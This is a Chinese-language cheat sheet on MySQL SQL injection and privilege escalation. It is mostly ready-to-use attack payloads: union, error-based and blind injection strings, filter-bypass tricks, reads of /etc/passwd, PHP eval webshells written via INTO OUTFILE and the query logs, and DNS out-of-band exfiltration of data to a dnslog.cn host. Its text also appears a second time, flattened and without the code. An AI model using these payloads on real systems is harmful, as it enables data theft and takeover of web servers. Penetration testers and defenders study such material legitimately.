数据库注入提权总结(一)
字数 1625 2025-08-12 11:34:09

MySQL数据库注入提权技术详解

一、基础注入技术

1. 联合查询注入

联合查询注入是最基础的注入方式,通过UNION SELECT合并查询结果获取数据。

关键点:

  • 需要字段数对应
  • 前面查询为空时只返回UNION查询结果

常用Payload:

# 查询当前数据库所有表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 查询指定表的所有字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23

2. 报错注入

利用MySQL报错时泄露信息的特性,有10种常用报错方法:

  1. floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  1. extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  1. updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4-10. 几何函数报错(geometrycollection、multipoint、polygon等)

3. 布尔盲注

两种常见场景:

  1. 返回值只有True/False类型
  2. Order by盲注

示例:

parameter=' or ascii(substr((select database()) ,1,1))<115--+
order by rand(database()='pdotest')

4. 时间盲注

通过延时判断查询结果是否正确:

  1. sleep()
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
  1. benchmark()
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
  1. 笛卡尔积延时
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

二、特殊注入场景

1. HTTP头注入

注入点从URL参数转移到HTTP头部,手法与基础注入相同。

2. HTTP分割注入

场景: 登录处SQL语句注释符号被过滤

绕过方法:

username=1' or extractvalue/* password=1*/(1,concat(0x7e,(select database()),0x7e))or'

3. 二次注入

恶意payload先被存储,后续取出时触发SQL注入。

4. SQL约束攻击

利用字符串截断特性覆盖账号:

  • 注册admin[20个空格]asd,数据库存储为admin[20个空格]
  • 登录时SQL忽略空格,实际登录admin账号

三、绕过技术

1. 基础绕过

  • 大小写绕过:SelECt * from table
  • 双写绕过:seselectlect from xxx
  • 空格绕过:使用%0a%09

2. 编码绕过

  • 宽字节注入:%df'在GBK编码下闭合单引号
  • Latin1编码:输入admin%c2存储为admin

3. 字符替代

  • and -> &&
  • or -> ||
  • = -> likeregexpin

4. 逗号绕过

  • JOIN代替:union select * from (select 1)a join (select 2)b join (select 3)c
  • LIMIT替代:limit 1 offset 2
  • SUBSTR替代:substr(database() from 5 for 1)

5. information_schema被过滤

替代方案:

  • mysql.innodb_table_stats
  • innodb_index_stats
  • sys.schema_table_statistics_with_buffer
  • sys.schema_auto_increment_columns

四、文件读写技术

1. 权限检查

  • 查看用户权限:select user(),file_priv from mysql.user
  • 检查secure-file-priv设置:
    • 空值:无限制
    • NULL:禁止读写
    • 目录名:仅限该目录

2. 读文件

select load_file('C:/Windows/win.ini');
load data infile "/etc/passwd" into table 表名 FIELDS TERMINATED BY '\n';

3. 写文件

select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';

outfile与dumpfile区别:

  • outfile支持多行,会添加转义和换行
  • dumpfile每次只能导出一行,不添加转义和换行

4. 日志绕过

secure_file_priv=NULL时:

set global general_log_file = '/var/www/html/1.php';
set global general_log = on;

五、DNS外带注入

利用条件:

  1. secure_file_priv为空且有文件读取权限
  2. 目标为Windows系统
  3. 无回显且无法时间盲注

方法:

select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));

六、MySQL Getshell技术

1. 文件导出Getshell

条件:

  • root权限
  • 知道网站绝对路径
  • GPC关闭
  • 目录有写入权限

方法:

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '路径'-- 
?id=1 into outfile '路径' FIELDS TERMINATED BY '<?php phpinfo();?>'

2. 日志Getshell

全局日志:

set global general_log=on;
set global general_log_file='/var/www/html/shell.php';
select '<?php eval($_POST[8]);?>';

慢日志:

set global slow_query_log=on;
set global slow_query_log_file='/var/www/html/shell.php';
select '<?php @eval($_POST[8]);?>' or sleep(20);

七、爆绝对路径方法

  1. 单引号报错
  2. 错误参数值
  3. Google搜索报错信息
  4. 测试文件(phpinfo.php等)
  5. phpMyAdmin特定文件
  6. 读取配置文件(php.ini、httpd.conf等)

八、Linux环境注意事项

Linux权限控制严格,即使控制MySQL也可能因目录权限无法写shell。

MySQL数据库注入提权技术详解 一、基础注入技术 1. 联合查询注入 联合查询注入是最基础的注入方式,通过UNION SELECT合并查询结果获取数据。 关键点: 需要字段数对应 前面查询为空时只返回UNION查询结果 常用Payload: 2. 报错注入 利用MySQL报错时泄露信息的特性,有10种常用报错方法: floor() extractvalue() updatexml() 4-10. 几何函数报错(geometrycollection、multipoint、polygon等) 3. 布尔盲注 两种常见场景: 返回值只有True/False类型 Order by盲注 示例: 4. 时间盲注 通过延时判断查询结果是否正确: sleep() benchmark() 笛卡尔积延时 二、特殊注入场景 1. HTTP头注入 注入点从URL参数转移到HTTP头部,手法与基础注入相同。 2. HTTP分割注入 场景: 登录处SQL语句注释符号被过滤 绕过方法: 3. 二次注入 恶意payload先被存储,后续取出时触发SQL注入。 4. SQL约束攻击 利用字符串截断特性覆盖账号: 注册 admin[20个空格]asd ,数据库存储为 admin[20个空格] 登录时SQL忽略空格,实际登录admin账号 三、绕过技术 1. 基础绕过 大小写绕过: SelECt * from table 双写绕过: seselectlect from xxx 空格绕过:使用 %0a 、 %09 等 2. 编码绕过 宽字节注入: %df' 在GBK编码下闭合单引号 Latin1编码:输入 admin%c2 存储为 admin 3. 字符替代 and -> && or -> || = -> like 、 regexp 、 in 4. 逗号绕过 JOIN代替: union select * from (select 1)a join (select 2)b join (select 3)c LIMIT替代: limit 1 offset 2 SUBSTR替代: substr(database() from 5 for 1) 5. information_ schema被过滤 替代方案: mysql.innodb_table_stats innodb_index_stats sys.schema_table_statistics_with_buffer sys.schema_auto_increment_columns 四、文件读写技术 1. 权限检查 查看用户权限: select user(),file_priv from mysql.user 检查 secure-file-priv 设置: 空值:无限制 NULL:禁止读写 目录名:仅限该目录 2. 读文件 3. 写文件 outfile与dumpfile区别: outfile支持多行,会添加转义和换行 dumpfile每次只能导出一行,不添加转义和换行 4. 日志绕过 当 secure_file_priv=NULL 时: 五、DNS外带注入 利用条件: secure_file_priv 为空且有文件读取权限 目标为Windows系统 无回显且无法时间盲注 方法: 六、MySQL Getshell技术 1. 文件导出Getshell 条件: root权限 知道网站绝对路径 GPC关闭 目录有写入权限 方法: 2. 日志Getshell 全局日志: 慢日志: 七、爆绝对路径方法 单引号报错 错误参数值 Google搜索报错信息 测试文件(phpinfo.php等) phpMyAdmin特定文件 读取配置文件(php.ini、httpd.conf等) 八、Linux环境注意事项 Linux权限控制严格,即使控制MySQL也可能因目录权限无法写shell。